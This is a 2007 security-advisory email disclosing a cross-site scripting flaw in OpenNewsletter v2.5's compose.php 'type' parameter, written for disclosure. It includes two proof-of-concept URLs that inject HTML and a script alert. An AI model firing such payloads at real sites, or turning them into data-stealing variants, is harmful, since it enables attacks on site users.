From: Sarasa (Intrabytesintrabytes.com)
Date: Thu Dec 06 2007 - 12:51:44 CST

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[#0001] Intrabytes Security Labs - Vulnerability report.

:::

Software: OpenNewsletter

Homepage: http://www.selfexile.com/projects/opennewsletter

Affected version: v2.5 and below

Overview: OpenNewsletter si a free, simple, and beautiful
open source newsletter solution aimed at small-medium scale.

Attack:

A non-existant sanitization when parsing the PHP value 'type'
on 'compose.php', leads to some XSS attacks.

PoC:

http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E
http://www.vulnhost.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E

Solution: not aware of at 12/6/2007, vendor has been warned about the
vulnerability.

Discovered by: Manuel Fernandez (manuelfintrabytes.com)

Intrabytes - I+D & Security Area
http://www.intrabytes.com

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